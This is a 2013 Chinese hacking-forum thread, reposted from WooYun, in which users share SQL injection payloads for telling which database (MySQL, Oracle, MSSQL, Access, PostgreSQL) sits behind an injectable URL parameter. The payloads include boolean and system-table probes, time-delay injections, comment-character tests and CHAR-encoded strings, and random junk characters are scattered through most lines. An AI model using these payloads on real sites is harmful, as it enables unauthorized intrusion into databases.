找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2311|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
/ V0 Z) |2 X5 O7 Txsser (十根阳具有长短!!) | 2013-02-05 12:36
$ G3 C: L4 }* }! \) Z假设这么一个注射点:
8 o6 n, S. T  G& F# jshow.html?id=2
2 P; s0 j4 |. Q# v% G1 {2 g# G* vmysql:id=2 and version()>0. p5 \# k9 h8 ?5 Y
oracle:id=2 and '1'||'1'='11' T& q. m  j' {" g( H& [  s
其他的欢迎补充
: E+ H: c; w8 ?" g+ `1#
% {. Z% O/ o- A. s6 G1 lupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
  m9 ?& M& S% `, jAccess:
: n4 O& w4 S$ Q5 p- z  BaNd aSc(cHr(97))=97
4 A9 U3 h/ a; O+ T" P2 s( Rand exists(select id from MSysAccessObjects)
! ?# i+ r& z  ]# p, iSQL Server:2 G  ^1 F0 n, `6 L, w9 W! |8 z& {
and exists(select id from sysobjects)6 }4 p) Y8 v' Z9 D
and length(user)>0+ P/ {; `' V8 b; F3 V. H
MySQL:5 `8 Q; S" M7 \
and length(user())>0( K& M5 v: k3 ~! Z: K1 ]$ o
2#
  b; O6 |2 Z( L3 V! |xsser (十根阳具有长短!!) | 2013-02-05 12:48
$ }7 Y8 G' G) h, K5 d@upload 如果这些都不是呢…
# J2 ^0 X+ X; }% ^3 Y3#& \6 R& ^& j& O% N* |* _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
1 ^# t  c! r* [7 M% F4 L$ D: ]@xsser 不快速的,延时注入% i* W% y6 k8 E/ V8 W% t
不知道这样写对不对
7 P) v6 M1 |. d7 @5 j8 P9 Imssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'4 D) d2 L2 ^% [: V1 b8 Y1 Y% w
mysql:id=2 and select benchmark(1e8,current_date());" @3 j+ g9 p! a' J9 s9 X
4#
. p7 T. n9 t) V/ W) Y' j; iupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:100 ?  Q$ X8 m0 I( I- ?2 }% n
最快的貌似是看报错信息. \( B& V9 {% z0 K
oracle error
2 P5 w- l% k" _& [- C! f4 u& J6 _: N* [$ Umssql error! ]" r" l) N: c0 J
mysql error) a+ ?% j# b2 g) C  {3 @" B
5#
- |8 E8 h" y3 }. Y" L- `! ^$ aNimda (你们都是坏银~) | 2013-02-05 13:14  c# X) t- j) v4 U& x& d6 B* l* Y0 L# m
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
  b) ?  V9 G  B6 y- {& U5 ^, I  z2 V6#
) e0 u# C/ l) b* Y: B) }upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21, p! N2 P! {  v* z* z: M
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:9 `1 e8 ?- E  @( ~
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:. b4 D) X" p. {) P
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
2 I% F4 N% {  E, x+ S7#$ w; M, F, `/ x6 ]
_Evil (HackEnd) | 2013-02-05 13:33( D0 A9 e) F1 K7 H3 K) d+ l9 j/ Q- N4 u7 \
PostgreSQL9 d- O' u/ h# I( M
8#9 i6 v- x$ ~) u3 g, r: [, x) Z! [6 c
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
2 f$ Z1 F1 e) u% e6 G# Z切换编码 and 1=1
8 l8 r4 z+ H' _9 \oracle:: l+ L2 C+ o% j6 d' I% r. ^
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
/ P# B0 z) K% ]: q6 p3 v9 cmssql:
7 ?; M$ g7 z. x+ r' a0 K1 H0 cCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)4 m- ~$ O9 U9 |8 R7 h3 t- U
mysql:7 N- c1 ~5 ^9 L! P$ v
CHAR(97, 110, 100, 32, 49, 61, 49)
/ i8 V3 U. m4 _  e$ k9#
6 h9 I- O/ l$ z* u- ~6 txsser (十根阳具有长短!!) | 2013-02-05 14:31
& c2 p6 T' n: U- h. M1 V! ~1 j@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
. g% K4 ]' {/ d  x0 V7 a9 N4 ?. M10#
. ?8 G: }4 [; x* ?; Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:465 m. l" [9 p7 U8 _2 \
@xsser 是奇葩数据库类型的么?5 @8 K( o. b4 V% ]  c
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:  ?; `) X3 |/ b- n8 E$ J6 F
1.是否可以使用特定的函数来判断,该数据库特有的- f0 ^% }! B# A" A# A% h
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
4 K+ W' k" ~1 I3 n( R3.是否可以编码查询6 u( N5 A$ D- l: f) m
4.是否显可以利用错信息  E& n- R; ?: a- e8 i  b( \; S
5.是否存在数据库某些特性辅助判断
9 e; Z7 ^  ?2 d4 Z个人见解; `* V3 g( ~6 r1 j$ P0 `$ a  `# p
11#
0 }2 j* `% k" Q6 J6 C小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55( r) N, y8 U" D, x9 i4 F7 }7 q
已收藏,mssql可以直接看到错误提示的吧~1 F, P6 d! u6 G! A3 y0 \+ E
12#
- G& P/ k* m( V2 oPasser_by | 2013-02-05 15:097 W9 Z4 {! G0 f+ M& M
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
5 [. b) _- G: r1 x3 Bfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表